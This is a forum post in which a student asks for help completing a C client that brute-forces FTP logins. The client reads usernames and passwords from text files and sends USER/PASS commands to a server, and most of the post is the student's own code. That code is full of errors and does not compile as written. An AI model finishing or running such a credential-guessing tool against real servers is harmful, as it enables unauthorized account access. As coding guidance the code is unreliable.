I have developed a client server application using C.
i have a list of usernames and a list of passwords in a text file. i need to be able to do 2 loops so i can send the usernames and the passwords to the server and get a response back. basically its a ftp force attack to find the correct username and password. i have written most of the code but i'm kind of strugling to finish it off and sort out the errors. this is a task we have to do for university. i have tried different books and websites and still can't sort out the errors. i really need your help.
Any advice would be most helpfull
this is the client part
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- #include <stdio.h> /* for printf() and fprintf() */
- #include <sys/socket.h> /* for socket(), connect(), send(), and recv() */
- #include <arpa/inet.h> /* for sockaddr_in and inet_addr() */
- #include <stdlib.h> /* for atoi() and exit() */
- #include <string.h> /* for memset() */
- #include <unistd.h> /* for close() */
- #define BUFSIZE 4096 /* Size of receive buffer */
- void DieWithError(char *errorMessage); /* Error handling function */
- void handeltcpclient(int sock, char *argv[]); /* Server handling function */
- int main(int argc, char *argv[])
- {
- int sock; /* Socket descriptor */
- struct sockaddr_in echoServAddr; /* Echo server address */
- unsigned short echoServPort; /* Echo server port */
- char *servIP; /* Server IP address (dotted quad) */
- if ((argc < 2) || (argc > 3)) /* Test for correct number of arguments */
- {
- fprintf(stderr, "Usage: %s <Server IP> [<Port>]\n",argv[0]);
- exit(1);
- }
- servIP = argv[1]; /* First arg: server IP address (dotted quad) */
- if (argc == 3)
- echoServPort = atoi(argv[2]); /* Use given port, if any */
- else
- echoServPort = 21; /* 7 is the well-known port for the echo service */
- /* Create a reliable, stream socket using TCP */
- if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
- DieWithError("socket() failed");
- /* Construct the server address structure */
- memset(&echoServAddr, 0, sizeof(echoServAddr)); /* Zero out structure */
- echoServAddr.sin_family = AF_INET; /* Internet address family */
- echoServAddr.sin_addr.s_addr = inet_addr(servIP); /* Server IP address */
- echoServAddr.sin_port = htons(echoServPort); /* Server port */
- /* Establish the connection to the echo server */
- if (connect(sock, (struct sockaddr *) &echoServAddr, sizeof(echoServAddr)) < 0)
- DieWithError("connect() failed");
- handeltcpclient(sock, argv);
- close(sock);
- }
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- #include <stdio.h> /* for printf() and fprintf() */
- #include <string.h> /* for printf() and fprintf() */
- #include <sys/socket.h> /* for recv() and send() */
- #include <unistd.h> /* for close() */
- #define BUFSIZE 4096 /* Size of receive buffer */
- void DieWithError(char *errorMessage); /* Error handling function */
- char sendBuf[BUFSIZE]; /* Send Buffer */
- char rcvBuf[BUFSIZE];
- char rcvMsgSize[BUFSIZE];
- char srvBuf[BUFSIZE];
- char clntBuf[BUFSIZE];
- char USER[15];
- char PASS[15];
- FILE *fileuser;
- FILE *filepassword;
- int MsgSize;
- int result;
- char response[3];
- void handeltcpclient(int clntSocket)
- {
- /* Recieve message from client */
- memset(&rcvBuf,0,sizeof(rcvBuf));
- rcvMsgSize = RecieveMessage(clntSocket, &rcvBuf, sizeof(rcvBuf));
- /* Recieve Server Responses */
- memset (&clntBuf,0,sizeof(clntBuf));
- memset (&srvBuf,0,sizeof(srvBuf));
- MsgSize = RecieveMessage(clntSocket,&srvBuf, sizeof(srvBuf));
- printf("Recieved: %s" &srvBuf,rcvMsgSize);
- response = strncpy(&srvBuf, 3);
- result = strcmp( result, "230");
- if( result == 0)
- {
- sprintf(&clntBuf, "USER %s", USER);
- send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf));
- DieWithError("send() sent a different number of bytes than expected");
- printf("Recieved: %s" &srvBuf,messageSize);
- /* Opening username.txt to selecting USER */
- if (fileuser = (fopen ("usernames.txt", "r")) ==NULL)
- {
- printf("Error opening file.\n");
- return 1;
- }
- else {
- printf ("File opened.\n");
- while (fgets(USER, 15, file != NULL))
- {
- printf("%s",USER);
- }
- /*send USER to server*/
- sprintf(clntBuf, "USER %s", USER);
- if ( send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf)))
- DieWithError("send() sent a different number of bytes than expected");
- printf("The attemped username was: %s\n");
- return 0;
- /* Recieve message from client */
- memset(&rcvBuf,0,sizeof(rcvBuf));
- rcvMsgSize = RecieveMessage(clntSocket, &rcvBuf, sizeof(rcvBuf));
- response = strncpy(&srvBuf, 3);
- result = strcmp( result, "331");
- if( result == 0)
- {
- sprintf(&clntBuf, "PASS %s", PASS);
- send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf));
- DieWithError("send() sent a different number of bytes than expected");
- result = strncpy(&srvBuf, 3);
- result = strcmp(result, "230");
- if (result == 0)
- {
- printf("successfully connected.\n");
- {
- sucess ++;
- }
- /* Opening passwords.txt to selecting PASS */
- (
- if (filepassword = (fopen ("passwords.txt", "r"))==NULL)
- {
- printf("Error opening file.\n");
- return 1;
- }
- (
- else {
- printf ("File opened.\n");
- while (fgets(PASS, 15,file)!=NULL)
- {
- printf("%s",PASS);
- }
- }
- /*send PASS to server*/
- sprintf(clntBuf, "PASS %s", PASS);
- if ( send(clntSocket, &clntBuf, strlen(clntBuf), 0) != (strlen(clntBuf)))
- DieWithError("send() sent a different number of bytes than expected");
- printf("Closing file.\n");
- fclose(file);
- printf("The attempted password was: %s\n");
- return 0;
- }
- int RecieveMessage (int s,char *buf, int maxLen)
- {
- int received = 0;
- int rv = 0;
- rv = recv(s, buf+received, 5, 0);
- while ((received < maxLen) && (rv > 0) && *(buf+received) != '\n')
- {
- received += rv;
- rv = recv(s, buf+received, 5, 0);
- }
- if (rv < 0)
- {
- DieWithError("revc() failed");
- }
- return received;
- }
- /*end*/
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- #include <stdio.h> /* for perror() */
- #include <stdlib.h> /* for exit() */
- void DieWithError(char *errorMessage)
- {
- perror(errorMessage);
- exit(1);
- }